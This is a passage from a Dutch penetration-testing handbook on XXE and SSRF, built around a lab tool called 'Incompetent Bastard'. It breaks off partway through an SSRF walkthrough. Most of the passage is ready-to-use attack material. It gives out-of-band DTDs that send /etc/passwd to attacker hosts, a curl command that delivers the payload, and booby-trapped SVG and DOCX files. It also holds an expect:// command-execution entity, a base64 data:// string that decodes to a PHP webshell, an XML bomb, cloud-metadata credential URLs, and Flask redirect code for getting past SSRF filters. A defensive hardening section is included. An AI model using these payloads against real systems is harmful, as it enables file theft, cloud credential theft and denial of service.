Stap 2: De parser haalt de externe DTD op. Die DTD bevat instructies om een bestand te lezen en de inhoud naar jouw server te sturen:

<!ENTITY % content SYSTEM "file:///etc/passwd">
<!ENTITY % wrapper "<!ENTITY &#x25; exfil SYSTEM
    'http://ATTACKER/receive?data=%content;'>">
%wrapper;
%exfil;

Stap 3: De parser voert de DTD uit: leest het bestand, bouwt een URL met de inhoud, en maakt een request naar jouw server. Jij vangt de data op in je access log of een speciaal endpoint.

Het is als een Rube Goldberg-machine: omslachtig, maar het werkt. En het is elegant op een manier die alleen een penetratietester kan waarderen.

Het IB XXE Lab: jouw eigen OOB-infrastructuur

En hier wordt het praktisch. Incompetent Bastard heeft een volledig XXE-lab ingebouwd dat precies die OOB-infrastructuur biedt die je nodig hebt. Geen externe servers opzetten, geen makeshift oplossingen met netcat. Drie endpoints, kant en klaar.

De architectuur

Het XXE-lab bestaat uit drie routes in de xxe_bp blueprint:

Endpoint Doel
/xxe/yolo.dtd Genereert dynamisch een kwaadaardige DTD
/xxe/froufrou Ontvangt en slaat geexfiltreerde data op
/xxe/fout.dtd Genereert een DTD voor error-based exfiltratie

Laten we elk endpoint in detail bekijken.

/xxe/yolo.dtd – De DTD-generator

Dit endpoint genereert dynamisch een DTD op basis van twee parameters:

Wanneer je dit endpoint aanroept:

http://IB_SERVER:5000/xxe/yolo.dtd?request=file:///etc/passwd&callback=http://IB_SERVER:5000

Genereert het de volgende DTD:

<!ENTITY % ext SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; yolo SYSTEM
    'http://IB_SERVER:5000/xxe/froufrou?naam=file___etc_passwd&hatseflats=%ext;'>">
%eval;
%yolo;

Kijk goed naar wat hier gebeurt. Het is een cascade van parameter entities:

  1. %ext; leest het bestand (file:///etc/passwd)
  2. %eval; bouwt een nieuwe entity die de inhoud van het bestand meestuurt als queryparameter naar het froufrou-endpoint
  3. %yolo; triggert het daadwerkelijke request

De naam yolo is niet per ongeluk gekozen. Het beschrijft vrij accuraat de houding van een XML-parser die zonder na te denken externe DTD’s uitvoert.

De bestandsnaam wordt opgeschoond door punten en slashes te vervangen: file:///etc/passwd wordt file___etc_passwd. Zo kun je later in het dashboard zien welk bestand bij welke exfiltratie hoort.

/xxe/froufrou – De datavanger

Als yolo.dtd de schutter is, is froufrou het vangnet. Dit endpoint ontvangt de geexfiltreerde data en slaat het op in het bestandssysteem:

raw/loot/{client_ip}/xxe/{bestandsnaam}.txt

De data wordt opgeslagen per IP-adres van het doelwit. Als er geen bestandsnaam wordt meegegeven, gebruikt het endpoint een Unix-timestamp. Alles wat binnenkomt, wordt netjes weggeschreven door de schrijven() functie uit hacksec.py.

Na succesvolle ontvangst retourneert het endpoint een berichtje dat alleen Nederlanders en Douglas Adams-fans zullen waarderen: “Tot ziens en bedankt voor de Vis”.

/xxe/fout.dtd – Error-based exfiltratie

Soms werkt OOB niet. Firewalls blokkeren uitgaand verkeer, of de parser weigert externe connecties te maken. Maar foutmeldingen? Die komen bijna altijd door.

Het fout.dtd-endpoint genereert een DTD die data laat lekken via foutmeldingen:

http://IB_SERVER:5000/xxe/fout.dtd?resource=file:///etc/hostname

Dit produceert:

<!ENTITY % ext SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%ext;'>">
%eval;
%error;

De truc: het leest het bestand in %ext;, en probeert dan een tweede bestand te openen waarvan het pad de inhoud van het eerste bestand bevat. Dat tweede bestand bestaat natuurlijk niet (file:///nonexistent/webserver01), dus de parser gooit een foutmelding. En in die foutmelding staat de hostname van de server.

Het is alsof je iemand vraagt een boek te halen uit schap “het-geheime- wachtwoord-is-Sansen42” en hij vervolgens hardop roept: “Ik kan schap het-geheime-wachtwoord-is-Sansen42 niet vinden!” Bedankt, dat was precies de informatie die ik nodig had.

Walkthrough: van payload tot data

Laten we het hele proces doorlopen, stap voor stap.

Uitgangspunt: Je hebt een webapplicatie gevonden die XML accepteert (een SOAP endpoint, een XML-API, een bestandsupload die XML parst). IB draait op 10.0.0.5:5000. Het doelwit is 10.0.0.100.

Stap 1: De payload voorbereiden

<?xml version="1.0"?>
<!DOCTYPE data [
    <!ENTITY % remote SYSTEM
        "http://10.0.0.5:5000/xxe/yolo.dtd?request=file:///etc/passwd&callback=http://10.0.0.5:5000">
    %remote;
]>
<data>trigger</data>

Stap 2: De payload versturen

Stuur deze XML naar het kwetsbare endpoint. De server parst de XML en haalt de DTD op van jouw IB-instantie.

curl -X POST http://10.0.0.100/api/upload \
    -H "Content-Type: application/xml" \
    -d '<?xml version="1.0"?>
<!DOCTYPE data [
    <!ENTITY % remote SYSTEM
    "http://10.0.0.5:5000/xxe/yolo.dtd?request=file:///etc/passwd&callback=http://10.0.0.5:5000">
    %remote;
]>
<data>trigger</data>'

Stap 3: IB vangt de data

De XML-parser op het doelwit: 1. Haalt yolo.dtd op van 10.0.0.5:5000 2. Voert de DTD uit: leest /etc/passwd 3. Stuurt de inhoud naar 10.0.0.5:5000/xxe/froufrou

IB slaat de data op in:

raw/loot/10.0.0.100/xxe/file___etc_passwd.txt

Stap 4: Data bekijken

Open het IB-dashboard. Onder de loot-sectie vind je de geexfiltreerde bestanden, netjes gesorteerd per doelwit-IP en bestandsnaam.

IB – Wanneer je meerdere bestanden wilt exfiltreren, wijzig je simpelweg de request-parameter in de payload. De bestandsnaam in het loot-pad verandert automatisch mee, zodat je een overzichtelijke verzameling opbouwt. Begin met /etc/passwd en /etc/hostname om te bevestigen dat de aanval werkt, en breid daarna uit naar configuratiebestanden en applicatiecode.

IB – Voor error-based exfiltratie vervang je yolo.dtd door fout.dtd en request door resource. De data verschijnt dan in de foutmelding van de applicatie in plaats van als callback naar het froufrou-endpoint. Dit werkt ook wanneer uitgaand verkeer geblokkeerd is.

Error-based XXE: data laten lekken via foutmeldingen

We hebben het fout.dtd-endpoint al gezien, maar error-based XXE verdient een bredere bespreking. Het principe is universeler dan alleen het IB-lab.

Het idee is simpel: XML-parsers zijn praatgraag als er iets misgaat. Ze vertellen je precies wat er fout ging, inclusief de waarden die ze probeerden te gebruiken. Als je ervoor zorgt dat de data die je wilt stelen onderdeel wordt van die foutmelding, heb je een exfiltratie-kanaal.

Er zijn verschillende varianten:

Niet-bestaand bestand

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///does/not/exist/%file;'>">
%eval;
%error;

Foutmelding: failed to load external entity "file:///does/not/exist/webserver01"

Ongeldige URL

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'http://invalid/%file;'>">
%eval;
%error;

DTD-validatiefout

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM '%file;///'>">
%eval;
%error;

De kunst is om een constructie te vinden die een informatieve foutmelding produceert op de specifieke parser die je doelwit gebruikt. Niet alle parsers zijn even spraakzaam. Sommige geven je de volledige waarde, andere censureren na een bepaald aantal karakters, en weer andere geven je alleen “parsing error” zonder verdere details. Dat laatste type is overigens het enige type dat zich correct gedraagt, wat iets zegt over de rest.

XXE via bestandsformaten: het paard van Troje

XML verbergt zich op plaatsen waar je het niet verwacht. Of beter gezegd: op plaatsen waar ontwikkelaars het niet verwachten. Want voor een aanvaller is het de normaalste zaak van de wereld om een SVG-afbeelding te uploaden die stiekem /etc/shadow leest.

SVG – Scalable Vector Graphics

SVG is XML. Dat weten de meeste mensen niet, inclusief de meeste ontwikkelaars die SVG-uploads accepteren. Een SVG-bestand met een XXE-payload:

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
    <!ENTITY xxe SYSTEM "file:///etc/hostname">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
    <text x="10" y="40" font-size="16">&xxe;</text>
</svg>

Upload dit als profielfoto, en als de server de SVG rendert of de inhoud toont, zie je de hostname van de server in je avatar. Het is het digitale equivalent van een naambordje dat per ongeluk het WiFi-wachtwoord toont.

DOCX en XLSX – Microsoft Office-formaten

Office-documenten zijn ZIP-bestanden met XML erin. Een DOCX bevat onder andere word/document.xml, en een XLSX bevat xl/sharedStrings.xml. Je kunt deze bestanden uitpakken, de XML modificeren met een XXE-payload, en weer inpakken:

# DOCX uitpakken
mkdir evil_doc && cd evil_doc
unzip ../template.docx

# XXE payload injecteren in word/document.xml
# Voeg DOCTYPE en entity toe aan de XML

# Opnieuw inpakken
zip -r ../evil.docx .

Dit werkt wanneer de server het document parst – bijvoorbeeld voor preview- generatie, indexering, of conversie. En ja, verrassend veel applicaties doen dat.

PDF

Sommige PDF-generators accepteren XML als invoer (XSL-FO, HTML-naar-PDF met XML-input). Als de onderliggende XML-parser external entities toestaat, kun je via een schijnbaar onschuldige PDF-generatie bestanden lezen van de server.

IB – Test altijd elk upload-endpoint dat bestandsformaten accepteert. SVG, DOCX, XLSX, XML configuratiebestanden – allemaal potentiele XXE-vectoren. De web_xxe_payloads-command bevat een herinnering: “Test op XML-accepting endpoints: SOAP, SVG upload, DOCX/XLSX, RSS.”

CDATA wrapping: als het bestand XML-tekens bevat

Er is een praktisch probleem met basis XXE. Als het bestand dat je probeert te lezen XML-achtige tekens bevat – ampersands, kleiner-dan-tekens, groter-dan- tekens – dan breekt de XML-parser. Het bestand wordt onderdeel van het XML- document, en die tekens worden geinterpreteerd als XML in plaats van als tekst.

De oplossing is CDATA-wrapping. Een <![CDATA[...]]> sectie vertelt de parser: “Alles hiertussen is platte tekst, niet XML.” Door de bestandsinhoud in CDATA te wikkelen, vermijd je parsing-fouten.

Dit vereist een externe DTD, omdat je CDATA-secties niet kunt construeren met inline entities:

<!-- evil.dtd op je eigen server -->
<!ENTITY % file SYSTEM "file:///etc/fstab">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % wrapper "<!ENTITY all '%start;%file;%end;'>">
%wrapper;

De payload:

<?xml version="1.0"?>
<!DOCTYPE data [
    <!ENTITY % remote SYSTEM "http://ATTACKER/evil.dtd">
    %remote;
]>
<data>&all;</data>

Nu wordt de inhoud van /etc/fstab veilig ingepakt in CDATA, en de parser struikelt niet over speciale tekens. Het is een extra stap, maar een noodzakelijke.

Blind XXE via DNS: het subtielste kanaal

Soms is zelfs OOB via HTTP geblokkeerd. Firewalls filteren al het uitgaande verkeer behalve DNS. En DNS is bijna nooit geblokkeerd, want zonder DNS werkt vrijwel niets.

Je kunt DNS gebruiken als exfiltratiekanaal door de gestolen data onderdeel te maken van een DNS-lookup:

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM
    'http://%file;.attacker.com/'>">
%eval;
%exfil;

Als de hostname webserver01 is, doet de parser een DNS-lookup voor webserver01.attacker.com. Op jouw authoritative DNS-server voor attacker.com zie je die query binnenkomen. Data geexfiltreerd.

De beperking is de lengte: DNS-labels zijn maximaal 63 karakters, en een volledige domeinnaam maximaal 253. Je kunt dus geen groot bestand via DNS exfiltreren. Maar voor een hostname, een username, of een korte configuratie- waarde is het meer dan genoeg.

Het is het digitale equivalent van smokkelen via postduif: langzaam, beperkt in capaciteit, maar bijna onmogelijk te detecteren.

IB – Voor DNS-based exfiltratie heb je een domein nodig waarvan je de DNS-server controleert. Tools als interactsh van ProjectDiscovery bieden tijdelijke domeinen voor precies dit doel. Combineer dit met IB door het domein te gebruiken in je XXE-payloads en de DNS-logs te correleren met je test-timestamps.

De XXE-aanvalsmatrix

Om het overzicht te bewaren, hier een samenvatting van wanneer je welke techniek gebruikt:

Situatie Techniek IB Endpoint
Server reflecteert entity-waarde Basis XXE (SYSTEM "file://...")
Geen output, HTTP uitgaand mogelijk OOB via externe DTD /xxe/yolo.dtd + /xxe/froufrou
Geen output, HTTP geblokkeerd Error-based XXE /xxe/fout.dtd
Geen output, alleen DNS mogelijk DNS exfiltratie Extern DNS-domein
Bestand bevat XML-tekens CDATA wrapping Externe DTD
Upload-endpoint (niet direct XML) XXE via SVG/DOCX/XLSX Aangepast bestandsformaat

PHP en XXE: een bijzondere relatie

PHP heeft een bijzondere band met XXE, en die band is niet gezond. PHP’s simplexml_load_string() en DOMDocument laadden tot relatief recent standaard external entities. En dan is er de expect:// wrapper:

<!DOCTYPE data [<!ENTITY xxe SYSTEM "expect://id">]>
<data>&xxe;</data>

De expect:// wrapper voert een systeemcommando uit en retourneert de output. Van bestandslezen naar remote code execution in een entity. Dit vereist dat de PHP expect-extensie is geinstalleerd, wat niet standaard het geval is, maar je zou verbaasd zijn hoe vaak je het tegenkomt op oudere systemen.

En dan zijn er de PHP-specifieke wrappers:

<!-- Base64-encoded bestandslezen (omzeilt XML-teken-problemen) -->
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">

<!-- Bestanden via data:// -->
<!ENTITY xxe SYSTEM "data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+">

De php://filter wrapper is bijzonder nuttig: door een bestand base64-encoded te lezen, omzeil je het probleem van XML-tekens volledig. Geen CDATA-wrapping nodig, geen externe DTD, gewoon base64-decode aan de ontvangende kant.

Billion Laughs: wanneer XML zichzelf opvreet

Dit is geen exfiltratietechniek, maar het verdient vermelding vanwege de pure elegantie van de destructie. De Billion Laughs attack (ook bekend als een XML-bom) misbruikt entity-expansie om exponentieel geheugen te verbruiken:

<?xml version="1.0"?>
<!DOCTYPE lolz [
    <!ENTITY lol "lol">
    <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
    <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
    <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
    <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
    <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
    <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
    <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
    <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<data>&lol9;</data>

Het XML-document is een paar honderd bytes. Maar wanneer de parser alle entities expandeert, groeit de tekst “lol” tot miljarden kopien. Een paar honderd bytes input, gigabytes aan geheugengebruik. De server gaat op zijn knieen.

Het heet “Billion Laughs” omdat de string “lol” miljarden keren wordt herhaald. Iemand bij de naamgevingscommissie had gevoel voor humor.

Verdediging: hoe je XML-parsers hun tanden trekt

Na al dit geweld is het tijd om te praten over hoe je jezelf beschermt. En het goede nieuws is: de verdediging tegen XXE is relatief eenvoudig. Het slechte nieuws is dat “eenvoudig” niet hetzelfde is als “wordt gedaan”.

Stap 1: Schakel DTD-processing uit

De meest effectieve verdediging is het volledig uitschakelen van DTD-processing. Geen DTD’s, geen entities, geen probleem:

Python (defusedxml):

import defusedxml.ElementTree as ET

# Veilig - blokkeert external entities en DTD's
tree = ET.parse('input.xml')

De defusedxml bibliotheek is een drop-in replacement voor Python’s standaard XML-bibliotheken die standaard alle gevaarlijke features uitschakelt.

Python (lxml):

from lxml import etree

parser = etree.XMLParser(
    resolve_entities=False,
    no_network=True,
    dtd_validation=False,
    load_dtd=False
)
tree = etree.parse('input.xml', parser)

Java:

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

PHP:

// Sinds PHP 8.0 is dit de default, maar voor oudere versies:
libxml_disable_entity_loader(true);

Stap 2: Gebruik geen XML als het niet hoeft

Dit klinkt als een open deur, maar het is verbazingwekkend hoe vaak XML wordt gebruikt terwijl JSON prima zou volstaan. JSON heeft geen entities, geen DTD’s, en geen external references. Het is saai, voorspelbaar, en veilig. Precies wat je wilt van een dataformaat.

Als je kunt kiezen tussen XML en JSON voor een nieuwe API, kies JSON. Als je XML moet ondersteunen voor backward compatibility, zorg dan dat de parser geconfigureerd is alsof XML een potentieel gevaarlijk dier is – want dat is het.

Stap 3: Valideer en sanitize

Als je XML moet accepteren:

Stap 4: Netwerksegmentatie

Zelfs als een parser kwetsbaar is, beperkt netwerksegmentatie de impact. Als de webserver geen uitgaand verkeer mag initiëren (behalve naar specifieke backend-services), kan OOB-exfiltratie niet plaatsvinden. De parser leest misschien het bestand, maar de data komt nergens.

Dit is defense in depth: meerdere lagen beveiliging die elk op zich onvoldoende zijn, maar samen een solide verdediging vormen.

Het ongemakkelijke gesprek over XML-parsers

Laten we even eerlijk zijn. Het feit dat XML external entities standaard aanstaan in de meeste parsers is een van de meest absurde ontwerpbeslissingen in de geschiedenis van software. Het is alsof je een auto verkoopt waarvan de deuren standaard niet op slot gaan, en dan in de handleiding schrijft: “Vergeet niet de deuren op slot te doen.”

De XML-specificatie is van 1998. External entities waren een feature. Ze waren bedoeld voor documentbeheer in grote organisaties, voor het hergebruiken van tekst in technische documentatie, voor het modulair opbouwen van complexe XML- structuren. Nobele doelen, allemaal. Maar de mensen die de specificatie schreven, werkten in een wereld waarin XML-documenten afkomstig waren van vertrouwde bronnen. Interne systemen. Collega’s.

Ze hadden niet voorzien dat in 2026 elke willekeurige bezoeker van een website XML kan aanleveren aan een server. Ze hadden niet voorzien dat die XML zou worden geparsed door een component dat standaard alles vertrouwt. Ze hadden niet voorzien dat een feature bedoeld voor documentbeheer zou worden misbruikt om wachtwoordbestanden te stelen.

En toch, nu we het weten – al meer dan vijftien jaar – staan external entities nog steeds standaard aan in talloze parsers. De documentatie zegt “schakel dit uit in productie”. Ontwikkelaars lezen de documentatie niet. De parser functioneert prima zonder configuratie. Het XML-document wordt correct geparsed. De unittests slagen. En ergens op een server worden bestanden gelezen door iedereen die weet hoe je een DOCTYPE schrijft.

Het is de triomf van backwards compatibility over gezond verstand. Het is de reden waarom we penetratietesters nodig hebben. En het is de reden waarom dit hoofdstuk bestaat.

Samenvatting

XXE is een kwetsbaarheid die voortkomt uit vertrouwen – vertrouwen in de input, vertrouwen in de parser, vertrouwen in de standaardconfiguratie. Het is een herinnering dat features en kwetsbaarheden soms hetzelfde zijn, afhankelijk van wie de XML schrijft.

De verdediging is eenvoudig: schakel uit wat je niet nodig hebt. Vertrouw geen input. Configureer je parsers alsof elke XML die binnenkomt geschreven is door iemand die je kwaad wil doen. Want op een dag is dat zo.

Referenties

Bron URL
OWASP XXE Prevention Cheat Sheet https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html
PortSwigger Web Security Academy – XXE https://portswigger.net/web-security/xxe
PayloadsAllTheThings – XXE Injection https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection
defusedxml (Python) https://github.com/tiran/defusedxml
W3C XML 1.0 Specification https://www.w3.org/TR/xml/
Billion Laughs Attack https://en.wikipedia.org/wiki/Billion_laughs_attack
IB Command: web_xxe_payloads Command Library in het IB dashboard
IB XXE Lab: xxe_bp blueprint meuk/flask/xxe.py

Server-Side Request Forgery (SSRF)

Server-Side Request Forgery (SSRF)

Stel je voor dat je bij een groot bedrijf werkt. Je zit in de lobby en je hebt een verzoek. Je wilt een document ophalen uit de archiefkamer op de derde verdieping. Probleem: je hebt geen toegangspas voor de derde verdieping. Maar de receptioniste wel. Dus je zegt: “Kun je even dit document voor me ophalen uit kast 7B?” En de receptioniste, behulpzaam als altijd, loopt naar boven, opent de kast, en brengt je het document.

Nu stel je voor dat je in plaats van een onschuldig document vraagt: “Kun je even het dossier met alle salarissen ophalen?” De receptioniste heeft dezelfde toegangspas, dezelfde rechten, en dezelfde neiging om niet te vragen waarom je dat nodig hebt. Ze haalt het op. Ze geeft het aan je. Ze glimlacht erbij.

Dat is Server-Side Request Forgery. De server is je receptioniste. En ze doet alles wat je vraagt.

Wat is SSRF?

Server-Side Request Forgery is een kwetsbaarheid waarbij een aanvaller de server laat fungeren als proxy. In plaats van zelf een verzoek te sturen naar een intern systeem – wat niet kan, want het is intern – laat je de server dat verzoek namens jou doen. De server heeft immers toegang tot het interne netwerk. De server wordt vertrouwd door andere interne systemen. De server is een van hen.

Het fundamentele probleem is er een van vertrouwen. Interne netwerken zijn gebouwd op het principe dat alles wat zich binnen de perimeter bevindt, vertrouwd is. Servers praten met andere servers zonder authenticatie. Databases zijn bereikbaar zonder wachtwoord vanuit het interne netwerk. Metadata-services geven gevoelige informatie aan iedereen die ernaar vraagt – mits het verzoek van een “intern” IP-adres komt.

SSRF doorbreekt die aanname. Het verzoek komt technisch gezien van een interne server. Het IP-adres klopt. De firewall laat het door. Maar de intentie achter het verzoek is van een aanvaller die buiten de perimeter zit.

Het is het digitale equivalent van social engineering, maar dan tegen machines in plaats van mensen. En machines zijn nog slechter in het herkennen van verdachte verzoeken dan mensen. Wat iets zegt, want mensen zijn er al niet goed in.

Waar vind je SSRF?

SSRF verschuilt zich overal waar een server een URL accepteert en daar een verzoek naar doet. Denk aan:

In elk van deze gevallen neemt de server een door de gebruiker aangeleverde URL en maakt er een HTTP-request naartoe. En als de server niet controleert waar die URL naartoe wijst, heb je SSRF.

Cloud metadata: de goudmijn achter 169.254.169.254

En dan komen we bij het onderwerp dat SSRF van een theoretisch probleem heeft veranderd in een nachtmerrie voor elke cloudbeheerder: metadata-services.

Elke grote cloudprovider biedt een metadata-service aan. Het is een speciaal IP-adres – meestal 169.254.169.254 – waar instanties informatie over zichzelf kunnen opvragen. Welke regio ben ik? Welke instantie-type? Welke IAM-rol is aan mij gekoppeld? En, cruciaal: wat zijn mijn tijdelijke credentials om AWS/GCP/Azure API-calls te maken?

Die metadata-service is alleen bereikbaar vanaf de instantie zelf. Van buitenaf kun je er niet bij. Maar via SSRF? Via SSRF zit je op de instantie. Tenminste, vanuit het perspectief van de metadata-service.

AWS: het origineel

AWS was de eerste met een metadata-service, en daarmee ook de eerste die massaal werd misbruikt via SSRF. IMDSv1 is het makkelijkst:

http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/local-ipv4
http://169.254.169.254/latest/user-data/

De echte prijs zit in de IAM-credentials:

http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME

Die eerste URL geeft je de naam van de IAM-rol. De tweede geeft je tijdelijke AWS-credentials: een access key, een secret key, en een session token. Met die credentials kun je de AWS API aanroepen als de server. S3-buckets lezen. DynamoDB-tabellen doorzoeken. EC2-instanties beheren. Afhankelijk van de rechten van die rol, kun je het volledige AWS-account overnemen.

Het is alsof de receptioniste niet alleen het salarisdossier voor je ophaalt, maar ook haar eigen pasje aan je geeft zodat je voortaan zelf overal in het gebouw kunt komen. Bedankt, receptioniste.

AWS IMDSv2: de pleister op de wond

Na talloze incidenten introduceerde AWS IMDSv2, dat een extra stap vereist:

# Stap 1: Token ophalen (vereist PUT-request met speciale header)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
    -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")

# Stap 2: Metadata opvragen met token
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
    http://169.254.169.254/latest/meta-data/

IMDSv2 vereist een PUT-request met een custom header om een token te krijgen. Veel SSRF-kwetsbaarheden ondersteunen alleen GET-requests en kunnen geen custom headers sturen. Dat maakt IMDSv2 een stuk lastiger om te misbruiken.

Maar “lastiger” is niet “onmogelijk”. Als de SSRF-kwetsbaarheid volledige controle geeft over het HTTP-request (methode, headers, body), dan is IMDSv2 geen obstakel. En veel organisaties draaien nog steeds IMDSv1, omdat migratie naar v2 moeite kost en “we komen er nog wel aan toe”.

Google Cloud Platform

http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
http://metadata.google.internal/computeMetadata/v1/project/project-id

GCP vereist een Metadata-Flavor: Google header. Maar – en hier wordt het interessant – die header-vereiste kan soms worden omzeild via een redirect. Als je de server een redirect laat volgen, wordt de header niet altijd meegestuurd naar de redirect-bestemming, maar sommige client-bibliotheken sturen hem wel mee. En dan is er nog de oudere v1beta1 API, die geen header vereist. We komen hier zo op terug bij het IB SSRF Lab.

Azure

http://169.254.169.254/metadata/instance?api-version=2021-02-01
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/

Azure vereist een Metadata: true header. Dezelfde kanttekeningen als bij GCP zijn van toepassing.

Andere cloud- en containeromgevingen

# DigitalOcean
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/user-data

# Kubernetes
https://kubernetes.default.svc/api/v1/namespaces/default/secrets
# Token locatie: /var/run/secrets/kubernetes.io/serviceaccount/token

# Oracle Cloud
http://192.0.0.192/latest/

# OpenStack
http://169.254.169.254/openstack

IB – Het commando web_ssrf_cloud in de Command Library bevat alle relevante metadata-endpoints voor AWS, GCP, Azure, DigitalOcean en Kubernetes. Het bevat ook de IMDSv2-instructies en opmerkingen over vereiste headers. Open het via het Commands dashboard wanneer je cloud metadata wilt targeten via SSRF.

Het IB SSRF Redirect Lab: filters omzeilen met flair

Nu komen we bij een van de slimste features van Incompetent Bastard. Het SSRF Lab is niet zomaar een verzameling endpoints. Het is een gereedschapskist vol redirects die specifiek zijn ontworpen om SSRF-filters te omzeilen.

Waarom redirects?

Veel applicaties hebben inmiddels basisbescherming tegen SSRF. Ze controleren de URL voordat ze het request doen: “Is dit een intern IP-adres? Is dit 169.254.169.254? Dan blokkeren we het.” Netjes. Goed gedaan. Zet maar een vinkje op de compliance-checklist.

Maar wat als de URL wijst naar jouw server – een volstrekt legitiem extern IP-adres – en jouw server een redirect teruggeeft naar 169.254.169.254? De filter controleert de oorspronkelijke URL. Die is extern. Prima, door laten. De server volgt de redirect. En opeens praat hij met de metadata-service.

Dit is waar het IB SSRF Lab om de hoek komt kijken. IB biedt elf redirect- endpoints die elk naar een ander intern doelwit verwijzen. De applicatie die je test controleert de URL naar jouw IB-server (extern, geen alarm), maar de redirect stuurt het verkeer naar waar jij het wilt hebben.

De endpoints

Alle endpoints gebruiken HTTP 307 redirects. Waarom 307 en niet 301 of 302? Omdat een 307-redirect de HTTP-methode en body behoudt. Een POST blijft een POST. Dit is cruciaal voor scenario’s waarin de SSRF-kwetsbaarheid in een POST-request zit.

Hier is de volledige inventaris van de ssrf_bp blueprint:

Endpoint Redirect naar Doel
/ssrf/aws http://169.254.169.254/latest/meta-data/iam/security-credentials AWS IAM credentials
/ssrf/openstack http://169.254.169.254/openstack OpenStack metadata
/ssrf/google http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true GCP metadata (v1beta1, geen header nodig)
/ssrf/oracle http://192.0.0.192/latest/ Oracle Cloud metadata
/ssrf/digitalocean http://169.254.169.254/metadata/v1.json DigitalOcean metadata
/ssrf/kubernetes http://192.0.0.192/latest/ Kubernetes/Oracle metadata
/ssrf/azure http://169.254.169.254/metadata/v1/maintenance Azure metadata
/ssrf/docker http://127.0.0.1:2375/v1.24/containers/json Docker API (container listing)
/ssrf/passwd file:////etc/passwd Lokaal bestand (Linux)
/ssrf/winini file:///c:/windows/win.ini Lokaal bestand (Windows)

Merk op dat het Google-endpoint slim naar v1beta1 verwijst in plaats van v1. De v1beta1-API van GCP vereist geen Metadata-Flavor-header. Dit is het soort detail dat het verschil maakt tussen een mislukte en een geslaagde test.

En kijk naar het Docker-endpoint. Het redirect naar de Docker API op 127.0.0.1:2375. Als Docker onbeveiligd draait (en dat doet het verrassend vaak op ontwikkelomgevingen), kun je via SSRF containers listen, aanmaken, en beheren. Container escape via een webapplicatie – het is bijna poëtisch.

Code-analyse: hoe het werkt

Laten we naar de daadwerkelijke code kijken. Het blueprint is elegant in zijn eenvoud:

from flask import Blueprint, redirect

ssrf_bp = Blueprint('ssrf_bp', __name__,
                    template_folder='html',
                    static_folder='static')

@ssrf_bp.route('/ssrf/aws', methods=['HEAD','GET', 'POST'])
def ssrf_aws():
    return redirect(
        'http://169.254.169.254/latest/meta-data/iam/security-credentials',
        code=307
    )

Elk endpoint accepteert HEAD, GET en POST. Het retourneert simpelweg een 307-redirect. Geen logica, geen validatie, geen overhead. Het is een doorgeefluik van het zuiverste soort.

Walkthrough: SSRF via redirect naar AWS credentials

Laten we een complete aanval doorlopen. Je hebt een webapplicatie gevonden met een URL-preview functie die kwetsbaar is voor SSRF. De applicatie draait op een AWS EC2-instantie. IB draait op jouw machine: 10.0.0.5:5000.

Stap 1: Test de basis

Voer in de URL-preview functie in:

http://10.0.0.5:5000/ssrf/aws

De applicatie denkt: “10.0.0.5 is een extern IP, geen probleem.” Ze stuurt een request naar jouw IB-server. IB antwoordt met een 307 redirect naar http://169.254.169.254/latest/meta-data/iam/security-credentials. De applicatie volgt de redirect. De metadata-service antwoordt met de naam van de IAM-rol.

Stap 2: Haal de credentials op

Nu je de rolnaam weet (bijvoorbeeld EC2-WebServer-Role), pas je de URL aan. Maar wacht – IB redirect naar het pad zonder rolnaam. Je hebt twee opties:

Optie A: De rolnaam is zichtbaar in de response van stap 1. Gebruik nu een directe SSRF (als de filter de redirect ook toestaat):

http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2-WebServer-Role

